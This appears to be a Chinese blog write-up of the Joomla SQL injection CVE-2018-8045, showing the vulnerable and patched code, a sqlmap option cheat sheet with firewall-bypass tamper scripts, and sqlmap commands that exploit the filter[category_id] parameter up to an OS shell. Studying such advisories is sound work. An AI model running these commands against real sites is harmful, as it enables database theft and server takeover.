Joomla内核SQL注入漏洞(CVE-2018-8045)

漏洞简介

Joomla是一套网站内容管理系统,使用PHP语言和MySQL数据库开发。Joomla! 3.5.0 -3.8.5版本对SQL语句内的变量缺少类型转换,导致User Notes列表视图内SQL注入漏洞,可使攻击者访问或修改数据等。

受影响版本

Joomla3.5.0-3.8.5

漏洞原理

漏洞的文件位于\administrator\components\com_users\models\notes.php,是joomla的模型文件。

漏洞代码如下:
// Filter by a single or group of categories.
$categoryId = $this->getState('filter.category_id');

if ($categoryId && is_scalar($categoryId))
{
   $query->where('a.catid = ' . $categoryId);
}
修改后的代码如下:
// Filter by a single category.
$categoryId = (int) $this->getState('filter.category_id');
if ($categoryId)
    {
        $query->where('a.catid = ' . $categoryId);
    }

从这段代码可知它是一个过滤器,用来选择category_id的,而$categoryId未经过滤直接拼接sql语句进行查询,所以造成了SQL注入漏洞。

实验工具

Sqlmap(这边顺便再总结一下sqlmap的用法)

常用命令

 ***常用参数***
 -v VERBOSE            Verbosity level: 0-6 (default 1)
0: Show only Python tracebacks, error and critical messages.
1: Show also information and warning messages.
2: Show also debug messages.
3: Show also payloads injected.
4: Show also HTTP requests.
5: Show also HTTP responses' headers.
6: Show also HTTP responses' page content.

常用参数

  • --proxy=PROXY 使用HTTP代理连接到目标URL
  • --delay=DELAY 在每个HTTP请求之间的延迟时间,单位为秒
  • --timeout=TIMEOUT 等待连接超时的时间(默认为30秒)
  • --retries=RETRIES 连接超时后重新连接的时间(默认3)
  • --keep-alive 使用持久的HTTP(S)连接
  • --threads=THREADS 最大的HTTP(S)请求并发量(默认为1)
  • --level=LEVEL 执行测试的等级(1-5,默认为1)
  • --risk=RISK 执行测试的风险(0-3,默认为1)
  • --string=STRING 查询时有效时在页面匹配字符串
  • --regexp=REGEXP 查询时有效时在页面匹配正则表达式
  • --technique=TECH SQL注入技术测试(默认BEUST)
  • --time-sec=TIMESEC DBMS响应的延迟时间(默认为5秒)
  • --union-cols=UCOLS 定列范围用于测试UNION查询注入
  • --passwords 枚举数据库管理系统用户密码哈希
  • --os-cmd=OSCMD 执行操作系统命令
  • --os-shell 交互式的操作系统的shell

进阶使用--tamper使用
tamper目录下有多种进行注入时绕过防火墙的脚本,基本利用数据库的兼容性
比如:between.py 就是默认把所有> 用between来替换
equaltolike.py 就是把所有 = 用 like来替换
base64encode.py 就是把请求内容base64加密

利用验证

sqlmap.py -r C:\1.txt -p filter[category_id]
sqlmap.exe -r C:\Joomla.txt -p filter[category_id] --os-shell (需要知道绝对路径

参考链接:
https://paper.seebug.org/553/
https://www.ichunqiu.com/vm/61621/1

©著作权归作者所有,转载或内容合作请联系作者
  • 序言:七十年代末,一起剥皮案震惊了整个滨河市,随后出现的几起案子,更是在滨河造成了极大的恐慌,老刑警刘岩,带你破解...
    沈念sama阅读 194,242评论 5 459
  • 序言:滨河连续发生了三起死亡事件,死亡现场离奇诡异,居然都是意外死亡,警方通过查阅死者的电脑和手机,发现死者居然都...
    沈念sama阅读 81,769评论 2 371
  • 文/潘晓璐 我一进店门,熙熙楼的掌柜王于贵愁眉苦脸地迎上来,“玉大人,你说我怎么就摊上这事。” “怎么了?”我有些...
    开封第一讲书人阅读 141,484评论 0 319
  • 文/不坏的土叔 我叫张陵,是天一观的道长。 经常有香客问我,道长,这世上最难降的妖魔是什么? 我笑而不...
    开封第一讲书人阅读 52,133评论 1 263
  • 正文 为了忘掉前任,我火速办了婚礼,结果婚礼上,老公的妹妹穿的比我还像新娘。我一直安慰自己,他们只是感情好,可当我...
    茶点故事阅读 61,007评论 4 355
  • 文/花漫 我一把揭开白布。 她就那样静静地躺着,像睡着了一般。 火红的嫁衣衬着肌肤如雪。 梳的纹丝不乱的头发上,一...
    开封第一讲书人阅读 46,080评论 1 272
  • 那天,我揣着相机与录音,去河边找鬼。 笑死,一个胖子当着我的面吹牛,可吹牛的内容都是我干的。 我是一名探鬼主播,决...
    沈念sama阅读 36,496评论 3 381
  • 文/苍兰香墨 我猛地睁开眼,长吁一口气:“原来是场噩梦啊……” “哼!你这毒妇竟也来了?” 一声冷哼从身侧响起,我...
    开封第一讲书人阅读 35,190评论 0 253
  • 序言:老挝万荣一对情侣失踪,失踪者是张志新(化名)和其女友刘颖,没想到半个月后,有当地人在树林里发现了一具尸体,经...
    沈念sama阅读 39,464评论 1 290
  • 正文 独居荒郊野岭守林人离奇死亡,尸身上长有42处带血的脓包…… 初始之章·张勋 以下内容为张勋视角 年9月15日...
    茶点故事阅读 34,549评论 2 309
  • 正文 我和宋清朗相恋三年,在试婚纱的时候发现自己被绿了。 大学时的朋友给我发了我未婚夫和他白月光在一起吃饭的照片。...
    茶点故事阅读 36,330评论 1 326
  • 序言:一个原本活蹦乱跳的男人离奇死亡,死状恐怖,灵堂内的尸体忽然破棺而出,到底是诈尸还是另有隐情,我是刑警宁泽,带...
    沈念sama阅读 32,205评论 3 312
  • 正文 年R本政府宣布,位于F岛的核电站,受9级特大地震影响,放射性物质发生泄漏。R本人自食恶果不足惜,却给世界环境...
    茶点故事阅读 37,567评论 3 298
  • 文/蒙蒙 一、第九天 我趴在偏房一处隐蔽的房顶上张望。 院中可真热闹,春花似锦、人声如沸。这庄子的主人今日做“春日...
    开封第一讲书人阅读 28,889评论 0 17
  • 文/苍兰香墨 我抬头看了看天上的太阳。三九已至,却和暖如春,着一层夹袄步出监牢的瞬间,已是汗流浃背。 一阵脚步声响...
    开封第一讲书人阅读 30,160评论 1 250
  • 我被黑心中介骗来泰国打工, 没想到刚下飞机就差点儿被人妖公主榨干…… 1. 我叫王不留,地道东北人。 一个月前我还...
    沈念sama阅读 41,475评论 2 341
  • 正文 我出身青楼,却偏偏与公主长得像,于是被迫代替她去往敌国和亲。 传闻我的和亲对象是个残疾皇子,可洞房花烛夜当晚...
    茶点故事阅读 40,650评论 2 335

推荐阅读更多精彩内容

  • http://192.168.136.131/sqlmap/mysql/get_int.php?id=1 当给sq...
    xuningbo阅读 10,199评论 2 22
  • sqlmap用户手册 说明:本文为转载,对原文中一些明显的拼写错误进行修正,并标注对自己有用的信息。 ======...
    wind_飘阅读 2,009评论 0 5
  • sqlmap也是渗透中常用的一个注入工具,其实在注入工具方面,一个sqlmap就足够用了,只要你用的熟,秒杀各种工...
    linkally阅读 6,822评论 1 40
  • sqlmap也是渗透中常用的一个注入工具,其实在注入工具方面,一个sqlmap就足够用了,只要你用的熟,秒杀各种工...
    查无此人asdasd阅读 1,506评论 0 1
  • SQLMAP作用 判断可注入的参数 判断可以用哪种SQL注入技术来注入 识别出哪种数据库 根据用户选择,读取哪些数...
    陆洒脱阅读 3,709评论 1 4